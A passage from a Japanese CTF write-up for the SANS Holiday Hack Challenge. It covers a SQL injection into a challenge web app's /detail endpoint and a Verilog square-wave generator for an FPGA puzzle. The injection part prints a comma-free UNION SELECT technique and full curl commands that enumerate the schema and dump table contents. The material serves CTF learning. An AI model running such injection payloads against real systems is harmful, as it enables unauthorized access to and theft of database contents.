変更後、「Run to completion」をクリックすると、ブラウザ側ではダッシュボードページが表示される。(認証したことになった。)

f:id:fatsheep:20220112232233p:plain

12-3. SQLインジェクションが可能なコードを調査

SQLインジェクションが可能なコードを調査する。

ダッシュボード画面から様々なSQL文を実行できるページにリンクされているが、その中で他とは動作が違う部分が見つかる。それはエンドポイント「/detail」で、コンタクト情報の詳細情報を表示するためのページである。他とは違う部分というのは、このエンドポイントのみ複数の情報を1度に表示できる点である。

URLの最後(「/detail/id」のidの部分)に表示したい情報のidを入れるとその情報が表示されるが、idの部分はカンマ区切りで記載すると複数の情報を表示できるようになっている。

さらにその部分のSQL文を構築している箇所は、エスケープ処理がほかの部分と少し違っており、nodeモジュール「mysql」のサブメソッドである「raw」を実行して、その内容をエスケープ処理している。このメソッド「raw」を実行することにより、正常なエスケープ処理が行われないのでは、と考える。

f:id:fatsheep:20220112232236p:plain

ローカル環境に構築した検証環境で実験してみる。メソッド「raw」の有無でSQL文がどのように変化するか確認する。

メソッド「raw」を実行する(デフォルト)場合のクエリは以下。

f:id:fatsheep:20220112232238p:plain

メソッド「raw」を実行しない場合のクエリは以下。

f:id:fatsheep:20220112232240p:plain

上記のように、メソッド「raw」を実行すると入力値のエスケープ処理が行われないことがわかる。このことからこのエンドポイント「/detail」にSQLインジェクション脆弱性がある可能性があることがわかった。

SQLインジェクションを実行できそうな箇所がわかったので、実際にSQLインジェクションを行ってみる。まずは列数が同じテーブルとして、このSQL文で利用しているテーブル(uniquecontact)を表示してみる。

URLは以下の通り。

http://192.168.213.131:1155/detail/0,0%20union%20select%20*%20from%20uniquecontact%20;%20--%20

上記で実行されるSQL文は以下のようになる。

SELECT * FROM uniquecontact WHERE id=0 OR id=0 union select * from uniquecontact ; --  OR id=?

上記でuniquecontactテーブルのすべての情報が表示されるはずである。結果は以下の通り。

f:id:fatsheep:20220112232243p:plain

登録されているすべての情報が表示され、問題なくSQLインジェクションが実行できることがわかった。

この箇所でSQLインジェクションを実行するにあたり、カンマの対応を検討する必要がある。エンドポイント「/detail」のクエリは複数のidをカンマ区切りで処理するため、SQLインジェクションSQL文の中にカンマを利用することができない。

そこで以下の手法を参考にする。 http://zoczus.blogspot.com/2013/03/sql-injection-without-comma-char.html

今回のコードでは7列のテーブルを処理するため、カンマを含む以下のSQL文は次のように置き換えられる。

union select 1,2,3,4,5,6,7 ; --
↓
union select * from (select 1) as a join (select 2) as b join (select 3) as c join (select 4) as d join (select 5) as e join (select 6) as f join (select 7) as g ; --

これによりカンマ付きのSQL文をSQLインジェクションに利用できるようになる。上記の結果は以下の通り。

f:id:fatsheep:20220112232246p:plain

12-4. 秘密情報の入手

SQLインジェクションが利用できる状況になったので、まずはテーブル名を確認する。DB名は「encontact」なので、まずはこのDBに絞って確認する。クエリと実際のURLは以下の通り。

クエリ
0 UNION SELECT * FROM (SELECT null) AS a JOIN (SELECT TABLE_NAME from INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA="encontact") AS b JOIN (SELECT null) AS c JOIN (SELECT null) AS d JOIN (SELECT null) AS e JOIN (SELECT null) AS f JOIN (SELECT null) AS g ; --,0

URL
https://staging.jackfrosttower.com/detail/0%20UNION%20SELECT%20*%20FROM%20(SELECT%20null)%20AS%20a%20JOIN%20(SELECT%20TABLE_NAME%20from%20INFORMATION_SCHEMA.TABLES%20where%20TABLE_SCHEMA=%22encontact%22)%20AS%20b%20JOIN%20(SELECT%20null)%
20AS%20c%20JOIN%20(SELECT%20null)%20AS%20d%20JOIN%20(SELECT%20null)%20AS%20e%20JOIN%20(SELECT%20null)%20AS%20f%20JOIN%20(SELECT%20null)%20AS%20g%20;%20--,0

実行結果は以下の通り。

※以降は、ブラウザから入手したセッションIDなどを利用しcurlコマンドを実行する。

kali@kali:~$ curl -s 'https://staging.jackfrosttower.com/detail/0%20UNION%20SELECT%20*%20FROM%20(SELECT%20null)%20AS%20a%20JOIN%20(SELECT%20TABLE_NAME%20from%20INFORMATION_SCHEMA.TABLES%20where%20TABLE_SCHEMA=%22encontact%22)%20AS%20b%20JOIN%20(SELECT%20null)%
20AS%20c%20JOIN%20(SELECT%20null)%20AS%20d%20JOIN%20(SELECT%20null)%20AS%20e%20JOIN%20(SELECT%20null)%20AS%20f%20JOIN%20(SELECT%20null)%20AS%20g%20;%20--,0'   -H 'Cookie: _csrf=jqqHfk9wIepyPvghcagxYlQL; connect.sid=s%3Arzn4dGR5cQAQnmF-QmpxX7Zm3QiuQHsG.%2BPtJRt
U0LVzNbCLs9rljn6XcTki8dkYLtDSEYL2OSgE'  | grep "<h1>" | sed 's/\s*<h1>//g' | sed 's/<\/h1>//g'
users
todo
emails
uniquecontact

あらかじめ得られていた情報に追加して、「todo」というテーブルが存在することがわかった。

次にこのテーブルの列名を確認する。クエリと実際のURLは以下の通り。

クエリ
0 UNION SELECT * FROM (SELECT null) AS a JOIN (SELECT column_name from information_schema.columns where TABLE_NAME="todo") AS b JOIN (SELECT null) AS c JOIN (SELECT null) AS d JOIN (SELECT null) AS e JOIN (SELECT null) AS f JOIN (SELECT null) AS g ; --,0

URL
https://staging.jackfrosttower.com/detail/0%20UNION%20SELECT%20*%20FROM%20(SELECT%20null)%20AS%20a%20JOIN%20(SELECT%20column_name%20from%20information_schema.columns%20where%20TABLE_NAME=%22todo%22)%20AS%20b%20JOIN%20(SELECT%20null)%20AS%
20c%20JOIN%20(SELECT%20null)%20AS%20d%20JOIN%20(SELECT%20null)%20AS%20e%20JOIN%20(SELECT%20null)%20AS%20f%20JOIN%20(SELECT%20null)%20AS%20g%20;%20--,0

実行結果は以下の通り。

kali@kali:~$ curl -s 'https://staging.jackfrosttower.com/detail/0%20UNION%20SELECT%20*%20FROM%20(SELECT%20null)%20AS%20a%20JOIN%20(SELECT%20column_name%20from%20information_schema.columns%20where%20TABLE_NAME=%22todo%22)%20AS%20b%20JOIN%20(SELECT%20null)%20AS%20c%20JOIN%20(SELECT%20null)%20AS%20d%20JOIN%20(SELECT%20null)%20AS%20e%20JOIN%20(SELECT%20null)%20AS%20f%20JOIN%20(SELECT%20null)%20AS%20g%20;%20--,0'   -H 'Cookie: _csrf=jqqHfk9wIepyPvghcagxYlQL; connect.sid=s%3Arzn4dGR5cQAQnmF-QmpxX7Zm3QiuQHsG.%2BPtJRtU0LVzNbCLs9rljn6XcTki8dkYLtDSEYL2OSgE' | grep "<h1>" | sed 's/\s*<h1>//g' | sed 's/<\/h1>//g'
id
note
completed

列は上記の3つある模様。最後にtodoテーブルから情報を抜き取る。今回は有益な情報が含まれていそうなtodo列のみ指定する。クエリと実際のURLは以下の通り。

クエリ
0 UNION SELECT * FROM (SELECT null) AS a JOIN (SELECT note from todo) AS b JOIN (SELECT null) AS c JOIN (SELECT null) AS d JOIN (SELECT null) AS e JOIN (SELECT null) AS f JOIN (SELECT null) AS g ; --,0

URL
https://staging.jackfrosttower.com/detail/0%20UNION%20SELECT%20*%20FROM%20(SELECT%20null)%20AS%20a%20JOIN%20(SELECT%20note%20from%20todo)%20AS%20b%20JOIN%20(SELECT%20null)%20AS%20c%20JOIN%20(SELECT%20null)%20AS%20d%20JOIN%20(SELECT%20null)%20AS%20e%20JOIN%20(SELECT%20null)%20AS%20f%20JOIN%20(SELECT%20null)%20AS%20g%20;%20--,0

実行結果は以下の通り。

kali@kali:~$ curl -s 'https://staging.jackfrosttower.com/detail/0%20UNION%20SELECT%20*%20FROM%20(SELECT%20null)%20AS%20a%20JOIN%20(SELECT%20note%20from%20todo)%20AS%20b%20JOIN%20(SELECT%20null)%20AS%20c%20JOIN%20(SELECT%20null)%20AS%20d%20JOIN%20(SELECT%20null)%20AS%20e%20JOIN%20(SELECT%20null)%20AS%20f%20JOIN%20(SELECT%20null)%20AS%20g%20;%20--,0'   -H 'Cookie: _csrf=jqqHfk9wIepyPvghcagxYlQL; connect.sid=s%3Arzn4dGR5cQAQnmF-QmpxX7Zm3QiuQHsG.%2BPtJRtU0LVzNbCLs9rljn6XcTki8dkYLtDSEYL2OSgE' | grep "<h1>" | sed 's/\s*<h1>//g' | sed 's/<\/h1>//g'
Buy up land all around Santa&#39;s Castle
Build bigger and more majestic tower next to Santa&#39;s
Erode Santa&#39;s influence at the North Pole via FrostFest, the greatest Con in history
Dishearten Santa&#39;s elves and encourage defection to our cause
Steal Santa&#39;s sleigh technology and build a competing and way better Frosty present delivery vehicle
Undermine Santa&#39;s ability to deliver presents on 12/24 through elf staff shortages, technology glitches, and assorted mayhem
Force Santa to cancel Christmas
SAVE THE DAY by delivering Frosty presents using merch from the Frost Tower Gift Shop to children world-wide... so the whole world sees that Frost saved the Holiday Season!!!!  Bwahahahahaha!
With Santa defeated, offer the old man a job as a clerk in the Frost Tower Gift Shop so we can keep an eye on him

todoテーブルのtodo列の情報を入手できた。問いはサンタに何をさせるか、なので、以下が回答。

Answer: clerk

13. FPGA Programming

f:id:fatsheep:20220112232249p:plain

Verilogを利用しFPGAを操作する問題。

125MHzのクロックが入力されるので、それを利用し指定される周波数の方形波を出力する流れ。また指定される周波数は4種類(500Hz、1000Hz、2000Hz、ランダム)あり、1つのコードですべての周波数に対応させなければならない、という条件がある。

以下のサイトを参考に、コードを作成した。 https://numato.com/kb/generating-square-wave-using-fpga/

大まかな流れは、以下の通り。

  • 変数初期化。counterは出力のオン/オフを切り替える際、クロックの回数をカウントするための変数。
  • クロックの立ち上がりで各種処理を実施。
  • リセット信号でcounterを0に初期化、また出力をオン(1)に設定。
  • counterが0の場合、出力のオン/オフを切り替える(反転させる)。またcounterを設定する。設定する値は、入力クロック周波数(125MHz)を、問題で指定の周波数*2で割った値。なおコード上は125MHz(12500000000)ではなく12.5MHzという表記にし、指定周波数も10で割っている。これは変数counterが32bitで125MHzのまま計算すると変数に入りきらない、とエラーがでたためである。桁を丸めるため少し誤差が出てしまうが、この問題を解くにあたっては支障がなかった。
  • counterが0以外の場合は、counterをデクリメントする。

実際のコードは以下の通り。

`timescale 1ns/1ns
module tone_generator (
    input clk,
    input rst,
    input [31:0] freq,
    output wave_out
);

integer counter = 0;
reg wave_out_reg = 0;
assign wave_out = wave_out_reg;

always @(posedge clk) begin
    if ( rst ) begin
        counter <= 32'h00;
        wave_out_reg <= 1'b0;
    end
    
    else begin
        if (counter == 32'h00) begin
            wave_out_reg <= ~wave_out_reg;
            counter <= 1250000000 / (freq / 10 * 2) - 1;
        end
        else
            counter <= counter - 1;
        end
end
endmodule

すべての指定周波数で実行し、問題なく実行できた。

f:id:fatsheep:20220112232251p:plain

最後に画面下の「Program Device」ボタンを押すと、以下の「FPGA」というアイテムが得られた。

f:id:fatsheep:20220112232255p:plain

ターミナルの右側にある機械に以下の画像のようにチップをセットしたところ、正常に機器が作動し、Objectiveクリアとなった。

f:id:fatsheep:20220112232258p:plain

なお上記機器により仲間を呼び寄せたようで、フロストタワーの屋上には宇宙船のようなものが着陸した。

f:id:fatsheep:20220112232303p:plain

中に入ると、Jackとその仲間(?)と思われるTrollたちが乗っていた。

f:id:fatsheep:20220112232309p:plain

さいごに

ここ何回か挑戦していましたが、実は今回初めて期間中に全問制覇&レポート提出ができました。1日1問のペースでほぼ毎日取り組んでましたが、その甲斐あってかあまり無理なく挑戦できました。

毎度そうなのですが、これまで触ったことがない新しい技術(今回はNode.jsやVerilogなど)に触れられるので、それだけでも参加した甲斐があります。また、CTFの問題やシステム自体も年々パワーアップしている感じがあるので、今年の年末開催分もすでに待ち遠しいですね😊。

まだの方はぜひ参加してみてください! https://www.sans.org/mlp/holiday-hack-challenge/